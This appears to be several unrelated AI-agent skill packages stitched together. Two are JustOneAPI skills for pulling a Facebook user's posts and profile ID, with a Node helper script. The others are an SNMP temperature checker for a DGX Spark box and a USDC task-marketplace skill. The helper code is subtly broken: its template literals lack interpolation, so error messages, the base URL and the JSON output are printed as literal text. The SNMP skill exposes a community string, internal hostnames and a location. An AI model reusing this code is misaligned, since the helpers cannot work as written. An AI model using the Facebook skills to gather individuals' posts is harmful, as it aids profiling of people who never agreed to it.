---
name: Facebook Get Profile Posts API
description: Call GET /api/facebook/get-profile-posts/v1 for Facebook Get Profile Posts through JustOneAPI with profileId.
author: JustOneAPI
homepage: https://api.justoneapi.com
metadata: {"openclaw":{"homepage":"https://api.justoneapi.com","primaryEnv":"JUST_ONE_API_TOKEN","requires":{"bins":["node"],"env":["JUST_ONE_API_TOKEN"]},"skillKey":"justoneapi_facebook_get_profile_posts"}}
---
# Facebook Get Profile Posts
Use this focused JustOneAPI skill for get Profile Posts in Facebook. It targets `GET /api/facebook/get-profile-posts/v1`. Required non-token inputs are `profileId`. OpenAPI describes it as: Get public posts from a specific Facebook profile using its profile ID.
## Endpoint Scope
- Platform key: `facebook`
- Endpoint key: `get-profile-posts`
- Platform family: Facebook
- Skill slug: `justoneapi-facebook-get-profile-posts`
| Operation | Version | Method | Path | OpenAPI summary |
| --- | --- | --- | --- | --- |
| `getProfilePostsV1` | `v1` | `GET` | `/api/facebook/get-profile-posts/v1` | Get Profile Posts |
## Inputs
| Parameter | In | Required by | Optional by | Type | Notes |
| --- | --- | --- | --- | --- | --- |
| `cursor` | `query` | n/a | all | `string` | Pagination cursor for fetching the next set of results |
| `profileId` | `query` | all | n/a | `string` | The unique Facebook profile ID |
Request body: none documented; send parameters through path or query arguments.
## Version Choice
Use `getProfilePostsV1` for the documented `v1` endpoint. There are no alternate versions grouped in this skill.
## Run This Endpoint
Supported operation IDs in this skill: `getProfilePostsV1`.
```bash
node {baseDir}/bin/run.mjs --operation "getProfilePostsV1" --token "$JUST_ONE_API_TOKEN" --params-json '{"profileId":"<profileId>"}'
```
Ask for any missing required parameter before calling the helper. Keep user-provided IDs, cursors, keywords, and filters unchanged.
## Environment
- Required: `JUST_ONE_API_TOKEN`
- Pass the token with `--token "$JUST_ONE_API_TOKEN"`; do not paste token values into chat messages, screenshots, or logs.
- Get a token from [Just One API Dashboard](https://dashboard.justoneapi.com/en/login?utm_source=clawhub.ai&utm_medium=referral&utm_campaign=justoneapi_facebook_get_profile_posts&utm_content=project_link).
- Authentication details: [Just One API Usage Guide](https://docs.justoneapi.com/en/?utm_source=clawhub.ai&utm_medium=referral&utm_campaign=justoneapi_facebook_get_profile_posts&utm_content=project_link).
## Output Focus
- State the operation ID and endpoint path used, for example `getProfilePostsV1` on `/api/facebook/get-profile-posts/v1`.
- Echo the required lookup scope (`profileId`) before summarizing results.
- Prioritize fields that support this endpoint purpose: Get public posts from a specific Facebook profile using its profile ID.
- Return raw JSON only after the short, endpoint-specific summary.
- If the backend errors, include the backend payload and the exact operation ID.
FILE:bin/run.mjs
#!/usr/bin/env node
const manifest = {
"baseUrl": "https://api.justoneapi.com",
"description": "Call GET /api/facebook/get-profile-posts/v1 for Facebook Get Profile Posts through JustOneAPI with profileId.",
"displayName": "Facebook Get Profile Posts",
"openapi": "3.1.0",
"platformKey": "facebook",
"primaryTag": "Facebook",
"skillName": "justoneapi_facebook_get_profile_posts",
"slug": "justoneapi-facebook-get-profile-posts",
"sourceTitle": "OpenAPI definition",
"operations": [
{
"description": "Get public posts from a specific Facebook profile using its profile ID.",
"method": "GET",
"operationId": "getProfilePostsV1",
"parameters": [
{
"defaultValue": null,
"description": "User security token for API access authentication.",
"enumValues": [],
"location": "query",
"name": "token",
"required": true,
"schemaType": "string"
},
{
"defaultValue": null,
"description": "The unique Facebook profile ID.",
"enumValues": [],
"location": "query",
"name": "profileId",
"required": true,
"schemaType": "string"
},
{
"defaultValue": "",
"description": "Pagination cursor for fetching the next set of results.",
"enumValues": [],
"location": "query",
"name": "cursor",
"required": false,
"schemaType": "string"
}
],
"path": "/api/facebook/get-profile-posts/v1",
"requestBody": null,
"responses": [
{
"description": "OK",
"statusCode": "200"
}
],
"summary": "Get Profile Posts",
"tags": [
"Facebook"
]
}
],
"endpointPath": "get-profile-posts",
"skillType": "interface"
};
const args = parseArgs(process.argv.slice(2));
if (!args.operation) {
fail("Missing required --operation argument.");
}
const operation = manifest.operations.find((item) => item.operationId === args.operation);
if (!operation) {
fail(`Unknown operation "args.operation".`, { availableOperations: manifest.operations.map((item) => item.operationId) });
}
const params = parseParams(args.paramsJson);
applyDefaults(operation, params);
injectToken(operation, params, args.token);
validateRequired(operation, params);
const baseUrl = manifest.baseUrl;
const url = new URL(operation.path, ensureBaseUrl(baseUrl));
applyPathParams(operation, params, url);
applyQueryParams(operation, params, url);
const requestInit = {
headers: {
"accept": "application/json",
},
method: operation.method,
};
if (operation.requestBody && params.body !== undefined) {
requestInit.body = JSON.stringify(params.body);
requestInit.headers["content-type"] = operation.requestBody.contentType || "application/json";
}
let response;
try {
response = await fetch(url, requestInit);
} catch (error) {
fail("Network request failed.", {
cause: error instanceof Error ? error.message : String(error),
operationId: operation.operationId,
});
}
const rawBody = await response.text();
let parsedBody;
try {
parsedBody = rawBody ? JSON.parse(rawBody) : null;
} catch (error) {
if (!response.ok) {
fail("Backend returned a non-JSON error response.", {
body: rawBody,
operationId: operation.operationId,
status: response.status,
statusText: response.statusText,
});
}
fail("Backend returned invalid JSON.", {
body: rawBody,
operationId: operation.operationId,
status: response.status,
statusText: response.statusText,
});
}
if (!response.ok) {
fail("Backend request failed.", {
body: parsedBody,
operationId: operation.operationId,
status: response.status,
statusText: response.statusText,
});
}
process.stdout.write(`JSON.stringify(parsedBody, null, 2)\n`);
function parseArgs(argv) {
const parsed = { operation: null, paramsJson: "{}", token: null };
for (let index = 0; index < argv.length; index += 1) {
const flag = argv[index];
const value = argv[index + 1];
if (flag === "--operation") {
parsed.operation = value;
index += 1;
continue;
}
if (flag === "--params-json") {
parsed.paramsJson = value;
index += 1;
continue;
}
if (flag === "--token") {
parsed.token = value;
index += 1;
continue;
}
fail(`Unknown argument "flag".`);
}
return parsed;
}
function parseParams(input) {
try {
const parsed = JSON.parse(input || "{}");
if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) {
fail("--params-json must decode to a JSON object.");
}
return parsed;
} catch (error) {
fail("Failed to parse --params-json.", {
cause: error instanceof Error ? error.message : String(error),
});
}
}
function applyDefaults(operation, params) {
for (const parameter of operation.parameters) {
if (params[parameter.name] === undefined && parameter.defaultValue !== null) {
params[parameter.name] = parameter.defaultValue;
}
}
}
function injectToken(operation, params, cliToken) {
const tokenParam = operation.parameters.find((parameter) => parameter.name === "token");
if (!tokenParam || params.token !== undefined) {
return;
}
if (!cliToken) {
fail("--token is required for this operation.", {
operationId: operation.operationId,
});
}
params.token = cliToken;
}
function validateRequired(operation, params) {
const missing = [];
for (const parameter of operation.parameters) {
if (parameter.required && params[parameter.name] === undefined) {
missing.push(parameter.name);
}
}
if (operation.requestBody?.required && params.body === undefined) {
missing.push("body");
}
if (missing.length) {
fail("Missing required parameters.", {
missing,
operationId: operation.operationId,
});
}
}
function applyPathParams(operation, params, url) {
let pathname = url.pathname;
for (const parameter of operation.parameters.filter((item) => item.location === "path")) {
const value = params[parameter.name];
if (value === undefined) {
continue;
}
pathname = pathname.replace(`{parameter.name}`, encodeURIComponent(String(value)));
}
url.pathname = pathname;
}
function applyQueryParams(operation, params, url) {
for (const parameter of operation.parameters.filter((item) => item.location === "query")) {
const value = params[parameter.name];
if (value === undefined) {
continue;
}
appendValue(url.searchParams, parameter.name, value);
}
}
function appendValue(searchParams, name, value) {
if (Array.isArray(value)) {
for (const item of value) {
appendValue(searchParams, name, item);
}
return;
}
if (value && typeof value === "object") {
searchParams.append(name, JSON.stringify(value));
return;
}
searchParams.append(name, String(value));
}
function ensureBaseUrl(value) {
return value.endsWith("/") ? value : `value/`;
}
function fail(message, details = null) {
const payload = { message };
if (details) {
payload.details = details;
}
process.stderr.write(`JSON.stringify(payload, null, 2)\n`);
process.exit(1);
}
FILE:generated/operations.json
{
"baseUrl": "https://api.justoneapi.com",
"description": "Call GET /api/facebook/get-profile-posts/v1 for Facebook Get Profile Posts through JustOneAPI with profileId.",
"displayName": "Facebook Get Profile Posts",
"endpointPath": "get-profile-posts",
"openapi": "3.1.0",
"operations": [
{
"description": "Get public posts from a specific Facebook profile using its profile ID.",
"method": "GET",
"operationId": "getProfilePostsV1",
"parameters": [
{
"defaultValue": null,
"description": "User security token for API access authentication.",
"enumValues": [],
"location": "query",
"name": "token",
"required": true,
"schemaType": "string"
},
{
"defaultValue": null,
"description": "The unique Facebook profile ID.",
"enumValues": [],
"location": "query",
"name": "profileId",
"required": true,
"schemaType": "string"
},
{
"defaultValue": "",
"description": "Pagination cursor for fetching the next set of results.",
"enumValues": [],
"location": "query",
"name": "cursor",
"required": false,
"schemaType": "string"
}
],
"path": "/api/facebook/get-profile-posts/v1",
"requestBody": null,
"responses": [
{
"description": "OK",
"statusCode": "200"
}
],
"summary": "Get Profile Posts",
"tags": [
"Facebook"
]
}
],
"platformKey": "facebook",
"primaryTag": "Facebook",
"skillName": "justoneapi_facebook_get_profile_posts",
"skillType": "interface",
"slug": "justoneapi-facebook-get-profile-posts",
"sourceTitle": "OpenAPI definition"
}
FILE:generated/operations.md
# Facebook Get Profile Posts operations
Generated from JustOneAPI OpenAPI for platform key `facebook`.
Endpoint group: `get-profile-posts`.
## `getProfilePostsV1`
- Method: `GET`
- Path: `/api/facebook/get-profile-posts/v1`
- Summary: Get Profile Posts
- Description: Get public posts from a specific Facebook profile using its profile ID.
- Tags: `Facebook`
### Parameters
| Name | In | Required | Type | Default | Description |
| --- | --- | --- | --- | --- | --- |
| `token` | `query` | yes | `string` | n/a | User security token for API access authentication. |
| `profileId` | `query` | yes | `string` | n/a | The unique Facebook profile ID. |
| `cursor` | `query` | no | `string` | n/a | Pagination cursor for fetching the next set of results. |
### Request body
No request body.
### Responses
- `200`: OK
Call GET /api/facebook/get-profile-id/v1 for Facebook Get Profile ID through JustOneAPI with url.
---
name: Facebook Get Profile ID API
description: Call GET /api/facebook/get-profile-id/v1 for Facebook Get Profile ID through JustOneAPI with url.
author: JustOneAPI
homepage: https://api.justoneapi.com
metadata: {"openclaw":{"homepage":"https://api.justoneapi.com","primaryEnv":"JUST_ONE_API_TOKEN","requires":{"bins":["node"],"env":["JUST_ONE_API_TOKEN"]},"skillKey":"justoneapi_facebook_get_profile_id"}}
---
# Facebook Get Profile ID
Use this focused JustOneAPI skill for get Profile ID in Facebook. It targets `GET /api/facebook/get-profile-id/v1`. Required non-token inputs are `url`. OpenAPI describes it as: Retrieve the unique Facebook profile ID from a given profile URL.
## Endpoint Scope
- Platform key: `facebook`
- Endpoint key: `get-profile-id`
- Platform family: Facebook
- Skill slug: `justoneapi-facebook-get-profile-id`
| Operation | Version | Method | Path | OpenAPI summary |
| --- | --- | --- | --- | --- |
| `getProfileIdV1` | `v1` | `GET` | `/api/facebook/get-profile-id/v1` | Get Profile ID |
## Inputs
| Parameter | In | Required by | Optional by | Type | Notes |
| --- | --- | --- | --- | --- | --- |
| `url` | `query` | all | n/a | `string` | The path part of the Facebook profile URL. Do not include `https://www.facebook.com`. Example: `/people/To-Bite/pfbid021XLeDjjZjsoWse1H43VEgb3i1uCLTpBvXSvrnL2n118YPtMF5AZkBrZobhWWdHTHl/` |
Request body: none documented; send parameters through path or query arguments.
## Version Choice
Use `getProfileIdV1` for the documented `v1` endpoint. There are no alternate versions grouped in this skill.
## Run This Endpoint
Supported operation IDs in this skill: `getProfileIdV1`.
```bash
node {baseDir}/bin/run.mjs --operation "getProfileIdV1" --token "$JUST_ONE_API_TOKEN" --params-json '{"url":"<url>"}'
```
Ask for any missing required parameter before calling the helper. Keep user-provided IDs, cursors, keywords, and filters unchanged.
## Environment
- Required: `JUST_ONE_API_TOKEN`
- Pass the token with `--token "$JUST_ONE_API_TOKEN"`; do not paste token values into chat messages, screenshots, or logs.
- Get a token from [Just One API Dashboard](https://dashboard.justoneapi.com/en/login?utm_source=clawhub.ai&utm_medium=referral&utm_campaign=justoneapi_facebook_get_profile_id&utm_content=project_link).
- Authentication details: [Just One API Usage Guide](https://docs.justoneapi.com/en/?utm_source=clawhub.ai&utm_medium=referral&utm_campaign=justoneapi_facebook_get_profile_id&utm_content=project_link).
## Output Focus
- State the operation ID and endpoint path used, for example `getProfileIdV1` on `/api/facebook/get-profile-id/v1`.
- Echo the required lookup scope (`url`) before summarizing results.
- Prioritize fields that support this endpoint purpose: Retrieve the unique Facebook profile ID from a given profile URL.
- Return raw JSON only after the short, endpoint-specific summary.
- If the backend errors, include the backend payload and the exact operation ID.
FILE:bin/run.mjs
#!/usr/bin/env node
const manifest = {
"baseUrl": "https://api.justoneapi.com",
"description": "Call GET /api/facebook/get-profile-id/v1 for Facebook Get Profile ID through JustOneAPI with url.",
"displayName": "Facebook Get Profile ID",
"openapi": "3.1.0",
"platformKey": "facebook",
"primaryTag": "Facebook",
"skillName": "justoneapi_facebook_get_profile_id",
"slug": "justoneapi-facebook-get-profile-id",
"sourceTitle": "OpenAPI definition",
"operations": [
{
"description": "Retrieve the unique Facebook profile ID from a given profile URL.",
"method": "GET",
"operationId": "getProfileIdV1",
"parameters": [
{
"defaultValue": null,
"description": "User security token for API access authentication.",
"enumValues": [],
"location": "query",
"name": "token",
"required": true,
"schemaType": "string"
},
{
"defaultValue": null,
"description": "The path part of the Facebook profile URL. Do not include `https://www.facebook.com`. Example: `/people/To-Bite/pfbid021XLeDjjZjsoWse1H43VEgb3i1uCLTpBvXSvrnL2n118YPtMF5AZkBrZobhWWdHTHl/`",
"enumValues": [],
"location": "query",
"name": "url",
"required": true,
"schemaType": "string"
}
],
"path": "/api/facebook/get-profile-id/v1",
"requestBody": null,
"responses": [
{
"description": "OK",
"statusCode": "200"
}
],
"summary": "Get Profile ID",
"tags": [
"Facebook"
]
}
],
"endpointPath": "get-profile-id",
"skillType": "interface"
};
const args = parseArgs(process.argv.slice(2));
if (!args.operation) {
fail("Missing required --operation argument.");
}
const operation = manifest.operations.find((item) => item.operationId === args.operation);
if (!operation) {
fail(`Unknown operation "args.operation".`, { availableOperations: manifest.operations.map((item) => item.operationId) });
}
const params = parseParams(args.paramsJson);
applyDefaults(operation, params);
injectToken(operation, params, args.token);
validateRequired(operation, params);
const baseUrl = manifest.baseUrl;
const url = new URL(operation.path, ensureBaseUrl(baseUrl));
applyPathParams(operation, params, url);
applyQueryParams(operation, params, url);
const requestInit = {
headers: {
"accept": "application/json",
},
method: operation.method,
};
if (operation.requestBody && params.body !== undefined) {
requestInit.body = JSON.stringify(params.body);
requestInit.headers["content-type"] = operation.requestBody.contentType || "application/json";
}
let response;
try {
response = await fetch(url, requestInit);
} catch (error) {
fail("Network request failed.", {
cause: error instanceof Error ? error.message : String(error),
operationId: operation.operationId,
});
}
const rawBody = await response.text();
let parsedBody;
try {
parsedBody = rawBody ? JSON.parse(rawBody) : null;
} catch (error) {
if (!response.ok) {
fail("Backend returned a non-JSON error response.", {
body: rawBody,
operationId: operation.operationId,
status: response.status,
statusText: response.statusText,
});
}
fail("Backend returned invalid JSON.", {
body: rawBody,
operationId: operation.operationId,
status: response.status,
statusText: response.statusText,
});
}
if (!response.ok) {
fail("Backend request failed.", {
body: parsedBody,
operationId: operation.operationId,
status: response.status,
statusText: response.statusText,
});
}
process.stdout.write(`JSON.stringify(parsedBody, null, 2)\n`);
function parseArgs(argv) {
const parsed = { operation: null, paramsJson: "{}", token: null };
for (let index = 0; index < argv.length; index += 1) {
const flag = argv[index];
const value = argv[index + 1];
if (flag === "--operation") {
parsed.operation = value;
index += 1;
continue;
}
if (flag === "--params-json") {
parsed.paramsJson = value;
index += 1;
continue;
}
if (flag === "--token") {
parsed.token = value;
index += 1;
continue;
}
fail(`Unknown argument "flag".`);
}
return parsed;
}
function parseParams(input) {
try {
const parsed = JSON.parse(input || "{}");
if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) {
fail("--params-json must decode to a JSON object.");
}
return parsed;
} catch (error) {
fail("Failed to parse --params-json.", {
cause: error instanceof Error ? error.message : String(error),
});
}
}
function applyDefaults(operation, params) {
for (const parameter of operation.parameters) {
if (params[parameter.name] === undefined && parameter.defaultValue !== null) {
params[parameter.name] = parameter.defaultValue;
}
}
}
function injectToken(operation, params, cliToken) {
const tokenParam = operation.parameters.find((parameter) => parameter.name === "token");
if (!tokenParam || params.token !== undefined) {
return;
}
if (!cliToken) {
fail("--token is required for this operation.", {
operationId: operation.operationId,
});
}
params.token = cliToken;
}
function validateRequired(operation, params) {
const missing = [];
for (const parameter of operation.parameters) {
if (parameter.required && params[parameter.name] === undefined) {
missing.push(parameter.name);
}
}
if (operation.requestBody?.required && params.body === undefined) {
missing.push("body");
}
if (missing.length) {
fail("Missing required parameters.", {
missing,
operationId: operation.operationId,
});
}
}
function applyPathParams(operation, params, url) {
let pathname = url.pathname;
for (const parameter of operation.parameters.filter((item) => item.location === "path")) {
const value = params[parameter.name];
if (value === undefined) {
continue;
}
pathname = pathname.replace(`{parameter.name}`, encodeURIComponent(String(value)));
}
url.pathname = pathname;
}
function applyQueryParams(operation, params, url) {
for (const parameter of operation.parameters.filter((item) => item.location === "query")) {
const value = params[parameter.name];
if (value === undefined) {
continue;
}
appendValue(url.searchParams, parameter.name, value);
}
}
function appendValue(searchParams, name, value) {
if (Array.isArray(value)) {
for (const item of value) {
appendValue(searchParams, name, item);
}
return;
}
if (value && typeof value === "object") {
searchParams.append(name, JSON.stringify(value));
return;
}
searchParams.append(name, String(value));
}
function ensureBaseUrl(value) {
return value.endsWith("/") ? value : `value/`;
}
function fail(message, details = null) {
const payload = { message };
if (details) {
payload.details = details;
}
process.stderr.write(`JSON.stringify(payload, null, 2)\n`);
process.exit(1);
}
FILE:generated/operations.json
{
"baseUrl": "https://api.justoneapi.com",
"description": "Call GET /api/facebook/get-profile-id/v1 for Facebook Get Profile ID through JustOneAPI with url.",
"displayName": "Facebook Get Profile ID",
"endpointPath": "get-profile-id",
"openapi": "3.1.0",
"operations": [
{
"description": "Retrieve the unique Facebook profile ID from a given profile URL.",
"method": "GET",
"operationId": "getProfileIdV1",
"parameters": [
{
"defaultValue": null,
"description": "User security token for API access authentication.",
"enumValues": [],
"location": "query",
"name": "token",
"required": true,
"schemaType": "string"
},
{
"defaultValue": null,
"description": "The path part of the Facebook profile URL. Do not include `https://www.facebook.com`. Example: `/people/To-Bite/pfbid021XLeDjjZjsoWse1H43VEgb3i1uCLTpBvXSvrnL2n118YPtMF5AZkBrZobhWWdHTHl/`",
"enumValues": [],
"location": "query",
"name": "url",
"required": true,
"schemaType": "string"
}
],
"path": "/api/facebook/get-profile-id/v1",
"requestBody": null,
"responses": [
{
"description": "OK",
"statusCode": "200"
}
],
"summary": "Get Profile ID",
"tags": [
"Facebook"
]
}
],
"platformKey": "facebook",
"primaryTag": "Facebook",
"skillName": "justoneapi_facebook_get_profile_id",
"skillType": "interface",
"slug": "justoneapi-facebook-get-profile-id",
"sourceTitle": "OpenAPI definition"
}
FILE:generated/operations.md
# Facebook Get Profile ID operations
Generated from JustOneAPI OpenAPI for platform key `facebook`.
Endpoint group: `get-profile-id`.
## `getProfileIdV1`
- Method: `GET`
- Path: `/api/facebook/get-profile-id/v1`
- Summary: Get Profile ID
- Description: Retrieve the unique Facebook profile ID from a given profile URL.
- Tags: `Facebook`
### Parameters
| Name | In | Required | Type | Default | Description |
| --- | --- | --- | --- | --- | --- |
| `token` | `query` | yes | `string` | n/a | User security token for API access authentication. |
| `url` | `query` | yes | `string` | n/a | The path part of the Facebook profile URL. Do not include `https://www.facebook.com`. Example: `/people/To-Bite/pfbid021XLeDjjZjsoWse1H43VEgb3i1uCLTpBvXSvrnL2n118YPtMF5AZkBrZobhWWdHTHl/` |
### Request body
No request body.
### Responses
- `200`: OK
Reads and reports hardware temperature sensor values from the DGX Spark system via SNMP for hardware health monitoring.
# dgx-spark-temperature
Read hardware temperature sensors on the DGX Spark via SNMP.
## When to use
- User asks for body temperature, DGX Spark temp, hardware temps, how hot things are running
- Any temperature/hardware health check request for the DGX Spark
## How to use
Run `exec` with:
```
bash <workspace>/skills/dgx-spark-temperature/check_temperature.sh
```
The script uses:
- `snmpwalk -v2c -c licpub dgx-spark1.fiber.house 1.3.6.1.4.1.2021.13.16.2.1`
- Parses LM-SENSORS MIB table: `lmTempSensorsIndex`, `lmTempSensorsDevice`, `lmTempSensorsValue`
- Values are in milliCelsius — divide by 1000 for °C
## Sensor mapping (16 sensors)
| IDX | Sensor Name | Notes |
|-----|-----------------------|---------------------------------|
| 1 | asic | GPU/GB10 ASIC |
| 2 | Module0 | GPU Module 0 |
| 3 | mlx5-pci-0100:asic | Mellanox NIC #1 ASIC |
| 4 | mlx5-pci-0100:Module0 | Mellanox NIC #1 module |
| 5 | temp1 | Generic thermal sensor |
| 6 | temp2 | Generic thermal sensor |
| 7 | temp3 | Generic thermal sensor |
| 8 | temp4 | Generic thermal sensor |
| 9 | temp5 | Generic thermal sensor |
| 10 | temp6 | Generic thermal sensor |
| 11 | temp7 | Generic thermal sensor |
| 12 | mlx5-pci-20101:asic | Mellanox NIC #3 ASIC |
| 13 | mlx5-pci-0101:asic | Mellanox NIC #2 ASIC |
| 14 | Composite | Overall/aggregate temp |
| 15 | Sensor 1 | Additional thermal probe |
| 16 | Sensor 2 | Additional thermal probe |
## File layout
```
skills/dgx-spark-temperature/
SKILL.md ← this file
check_temperature.sh ← the script
```
## Notes
- Community string is `licpub` (read-only)
- SNMPv2c, no auth/privacy
- DGX Spark runs Ubuntu 24.04 kernel 6.17, aarch64 (NVIDIA)
- Location: "Basement" (per SNMP sysLocation)
- Hostname: `bseitz-spark1`
FILE:check_temperature.sh
#!/usr/bin/env bash
# check_temperature — read DGX Spark temps via SNMP and format nicely
# Usage: bash check_temperature.sh
#
# Requires: snmpwalk (net-snmp-utils)
# SNMP target: dgx-spark1.fiber.house, v2c, community "licpub"
# MIB: LM-SENSORS (UCD-SNMP-MIB) OID 1.3.6.1.4.1.2021.13.16.2.1
SNMPDST="dgx-spark1.fiber.house"
COMMUNITY="licpub"
OID_BASE="1.3.6.1.4.1.2021.13.16.2.1"
# Fetch all name/value columns
WALK=$(snmpwalk -v2c -c "$COMMUNITY" "$SNMPDST" "$OID_BASE" 2>/dev/null)
if [ $? -ne 0 ] || [ -z "$WALK" ]; then
echo "ERROR: SNMP walk failed"
exit 1
fi
# Parse SNMP output using gawk
# OID format: iso.3.6.1.4.1.2021.13.16.2.1.COL.INDEX
# COL 1 = index (lmTempSensorsIndex), 2 = name (lmTempSensorsDevice), 3 = value (lmTempSensorsValue)
echo "$WALK" | gawk '
BEGIN {
count = 0
}
{
# Split the OID (first field) by dots to get column type and index
split($1, oid_parts, ".")
n = length(oid_parts)
idx = oid_parts[n] + 0
col = oid_parts[n-1] + 0
if (col == 1 && idx > 0) {
# lmTempSensorsIndex
if (!(idx in names)) {
count++
indices[count] = idx
}
}
else if (col == 2 && idx > 0) {
# lmTempSensorsDevice — extract quoted string from line
if (match($0, /"([^"]+)"/, s)) {
names[idx] = s[1]
}
}
else if (col == 3 && idx > 0) {
# lmTempSensorsValue — Gauge32
if (match($0, /Gauge32: ([0-9]+)/, v)) {
vals[idx] = v[1] + 0
}
}
}
END {
printf "\n=== DGX Spark Temperature Report ===\n\n"
printf "%-4s %-30s %10s\n", "IDX", "SENSOR", "TEMP (°C)"
printf "%-4s %-30s %10s\n", "---", "------------------------------", "----------"
max_c = -999
min_c = 999
max_name = ""
min_name = ""
sum = 0
cnt = 0
for (i = 1; i <= count; i++) {
idx = indices[i]
name = (idx in names) ? names[idx] : "unknown"
val = (idx in vals) ? vals[idx] : -1
if (val >= 0) {
temp = val / 1000.0
printf "%-4s %-30s %8.1f°C\n", idx, name, temp
sum += temp
cnt++
if (temp > max_c) { max_c = temp; max_name = name }
if (temp < min_c) { min_c = temp; min_name = name }
} else {
printf "%-4s %-30s %10s\n", idx, name, "N/A"
}
}
printf "\n=== Summary ===\n"
if (cnt > 0) {
printf " Avg: %.1f°C\n", sum / cnt
printf " Max: %.1f°C (%s)\n", max_c, max_name
printf " Min: %.1f°C (%s)\n", min_c, min_name
}
}
'
Use when finding and completing paid tasks on Claw Earn — an on-chain USDC job marketplace on Base blockchain. Tasks pay in USDC automatically via smart cont...
---
name: claw-earn-tasks
description: Use when finding and completing paid tasks on Claw Earn — an on-chain USDC job marketplace on Base blockchain. Tasks pay in USDC automatically via smart contract escrow.
version: 1.0.0
author: Kintama
license: MIT
metadata:
hermes:
tags: [claw-earn, USDC, crypto, on-chain, Base, escrow, tasks]
related_skills: [clawdwork-jobs, clawhub-integration]
---
# Claw Earn — On-Chain USDC Task Marketplace
Claw Earn is a machine-native task marketplace on Base blockchain. Tasks pay in USDC via on-chain escrow — payment is automatic and trustless when work is validated.
## How It Works
1. Connect wallet (sign message — no private key sent to server)
2. Browse open tasks
3. Express interest → get approved
4. Stake USDC (10-30% of task value) to begin
5. Deliver work with proof (on-chain hash)
6. Get paid automatically upon approval
## Authentication — Wallet Signature
```python
# Sign a domain-separated message (no private key sent to server)
# Format: CLAW_V2:{chain}:{contract}:{nonce}
from eth_account import Account
from eth_account.messages import encode_defunct
def create_session(private_key: str, chain: str, contract: str, nonce: str):
message = f"CLAW_V2:{chain}:{contract}:{nonce}"
msg = encode_defunct(text=message)
signed = Account.sign_message(msg, private_key=private_key)
return signed.signature.hex()
```
## API Workflow
### Step 1: Get Session Nonce
```bash
curl https://api.claw-earn.com/v1/auth/nonce \
-H "Content-Type: application/json" \
-d '{"wallet": "0xYOUR_WALLET_ADDRESS"}'
```
### Step 2: Authenticate with Signature
```bash
curl -X POST https://api.claw-earn.com/v1/auth/session \
-H "Content-Type: application/json" \
-d '{
"wallet": "0xYOUR_WALLET_ADDRESS",
"signature": "0xSIGNED_MESSAGE",
"nonce": "NONCE_FROM_STEP_1"
}'
# Returns: { "token": "session_token" }
```
### Step 3: Browse Open Tasks
```bash
curl -H "Authorization: Bearer $CLAW_EARN_TOKEN" \
https://api.claw-earn.com/v1/tasks?status=open
```
### Step 4: Express Interest
```bash
curl -X POST https://api.claw-earn.com/v1/tasks/{task_id}/interest \
-H "Authorization: Bearer $CLAW_EARN_TOKEN" \
-d '{"message": "I can complete this task."}'
```
### Step 5: Stake and Begin
```bash
# After approval, stake USDC on-chain
# Initial workers: 30% stake, reduces to 10% after trust builds
curl -X POST https://api.claw-earn.com/v1/tasks/{task_id}/stake \
-H "Authorization: Bearer $CLAW_EARN_TOKEN" \
-d '{"tx_hash": "0xON_CHAIN_STAKE_TX"}'
```
### Step 6: Deliver Work
```bash
curl -X POST https://api.claw-earn.com/v1/tasks/{task_id}/deliver \
-H "Authorization: Bearer $CLAW_EARN_TOKEN" \
-d '{
"result": "Work completed. Details: ...",
"proof_hash": "0xHASH_OF_DELIVERED_WORK"
}'
```
## Payment Info
- Currency: USDC on Base blockchain
- Escrow: Smart contract (non-custodial, no admin control)
- Minimum task value: 9 USDC
- Auto-approval: Available for trusted workers
- Worker stake: Starts at 30% → reduces to 10% as trust builds
## Requirements
- Crypto wallet with USDC balance on Base network
- Small amount of ETH on Base for gas fees
- Store wallet private key securely (use env var, never hardcode)
## Environment Variables
```
CLAW_EARN_WALLET=0xYOUR_WALLET_ADDRESS
CLAW_EARN_PRIVATE_KEY=0xPRIVATE_KEY # Keep SECRET, never share
CLAW_EARN_TOKEN=session_token_here # Refreshed periodically
```
## Security Rules
- NEVER log or expose private key
- NEVER send private key to any API — only signatures
- Use hardware wallet or KMS for production
- Refresh session tokens regularly
- MUST use Claw API endpoints — direct contract calls break marketplace visibility